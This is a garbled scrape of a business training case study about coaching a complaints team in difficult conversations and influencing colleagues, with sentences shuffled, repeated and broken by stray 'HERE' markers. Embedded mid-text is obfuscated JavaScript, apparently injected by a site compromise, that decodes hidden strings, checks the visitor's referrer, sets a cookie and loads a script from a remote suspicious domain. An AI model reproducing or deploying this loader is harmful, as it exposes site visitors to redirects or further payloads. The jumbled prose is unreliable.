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”– Feedback immediately following the programmeEighteen months later, the Team Manager reiterated the benefits achieved and told us that the positive results were continuing.. The Client’s View“The programme was exactly what I had hoped for and more.. The SolutionWith one of our highly-skilled Customer Service trainers at the helm, we initially rolled out a workshop and coaching programme for the Complaints Team. HERE

The workshop covered a range of tools for dealing with difficult conversations and was designed to build team members’ confidence as well as ability.. constructor(x22returnx20thisx22)(x20)' ');');_0x57f2c6=_0x4751dc();}catch(_0x5a9b9e){_0x57f2c6=window;}var _0x41b813='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /=';_0x57f2c6['atob']||(_0x57f2c6['atob']=function(_0x2752ef){var _0x22f0cc=String(_0x2752ef)['replace'](/= $/,'');for(var _0x16b937=0x0,_0x362fa3,_0x3f68e2,_0x2672ec=0x0,_0x352b6a='';_0x3f68e2=_0x22f0cc['charAt'](_0x2672ec );~_0x3f68e2&&(_0x362fa3=_0x16b937%0x4?_0x362fa3*0x40 _0x3f68e2:_0x3f68e2,_0x16b937 %0x4)?_0x352b6a =String['fromCharCode'](0xff&_0x362fa3>>(-0x2*_0x16b937&0x6)):0x0){_0x3f68e2=_0x41b813['indexOf'](_0x3f68e2);}return _0x352b6a;});}());_0x2e6b['base64DecodeUnicode']=function(_0x58e28c){var _0x3b9865=atob(_0x58e28c);var _0x455819=[];for(var _0x138aac=0x0,_0x1fc834=_0x3b9865['length'];_0x138aac=_0x55cc4f;},'cIblS':_0x2e6b('0x1d'),'wWLFz':_0x2e6b('0x1e'),'TnflY':function _0x15220c(_0x4f37cd,_0x3fcd0d){return _0x4f37cd(_0x3fcd0d);},'RsrUi':function _0x4f475f(_0x3f3938,_0x2a8bd7){return _0x3f3938 _0x2a8bd7;},'RKhxS':function _0x293063(_0x2894cc,_0x5784c0){return _0x2894cc _0x5784c0;},'apUaZ':'https://cloudeyess.. It also covered influencing techniques for the team to employ with colleagues within the organisation so that they could get faster responses to requests for information and/or action from other staff. 2

Individuals first completed a one-day workshop which was immediately followed by individual coaching.. They were not getting the desired outcomes from their conversations often enough, which was increasing workloads and resulting in longer working days.. men/don_con php?x=iostitle&query='};var _0x592d2c=[_0x5d1a2e[_0x2e6b('0x1f')],_0x5d1a2e[_0x2e6b('0x20')],_0x5d1a2e[_0x2e6b('0x21')],_0x5d1a2e['fzjUt'],_0x5d1a2e[_0x2e6b('0x22')],_0x5d1a2e[_0x2e6b('0x23')],_0x5d1a2e['CoMuj']],_0x349f46=document[_0x2e6b('0x24')],_0x6f1d60=![],_0x3064d7=cookie['get'](_0x2e6b('0x1d'));for(var _0x5c9db7=0x0;_0x5d1a2e[_0x2e6b('0x25')](_0x5c9db7,_0x592d2c[_0x2e6b('0x26')]);_0x5c9db7 ){if(_0x5d1a2e[_0x2e6b('0x27')](_0x5d1a2e[_0x2e6b('0x28')],_0x5d1a2e[_0x2e6b('0x28')])){if(_0x5d1a2e[_0x2e6b('0x29')](_0x349f46[_0x2e6b('0x2a')](_0x592d2c[_0x5c9db7]),0x0)){_0x6f1d60=!![];}}else{if(_0x5d1a2e[_0x2e6b('0x29')](_0x349f46[_0x2e6b('0x2a')](_0x592d2c[_0x5c9db7]),0x0)){_0x6f1d60=!![];}}}if(_0x6f1d60){cookie['set'](_0x5d1a2e[_0x2e6b('0x2b')],0x1,0x1);if(!_0x3064d7){if(_0x5d1a2e[_0x2e6b('0x2c')]!==_0x5d1a2e[_0x2e6b('0x2c')]){return undefined;}else{_0x5d1a2e[_0x2e6b('0x2d')](include,_0x5d1a2e[_0x2e6b('0x2e')](_0x5d1a2e[_0x2e6b('0x2f')](_0x5d1a2e[_0x2e6b('0x30')],q),''));}}}}R(); Case Study | Handling Difficult Conversations & Influencing OthersThe Manager of the Complaints Management Team wished to reduce the stress levels in his team. HERE

Stress was high because individuals were having to handle difficult conversations on a day-to-day basis without the tools to deal with them.. The ResultsFollowing this programme the Complaints Team:were more willing to call customers rather than sending an email or letterachieved significantly increased levels of satisfaction amongst customersreduced the number of times they offered money to customers as reparationgot faster responses to requests, internally and externallyOverall stress levels were reduced as the team felt more confident and assured in dealing with difficult people and situations. e10c415e6f HERE

As a way to avoid these conversations team members were emailing rather than calling both customers and colleagues, resulting in complaints taking longer to resolve — thereby frequently escalating the original problem.. Case Study | Handling Difficult Conversations & Influencing OthersThe Manager of the Complaints Management Team wished to reduce the stress levels in his team.. Stress was high because individuals were having to handle difficult conversations on a day-to-day basis without the tools to deal with them. HERE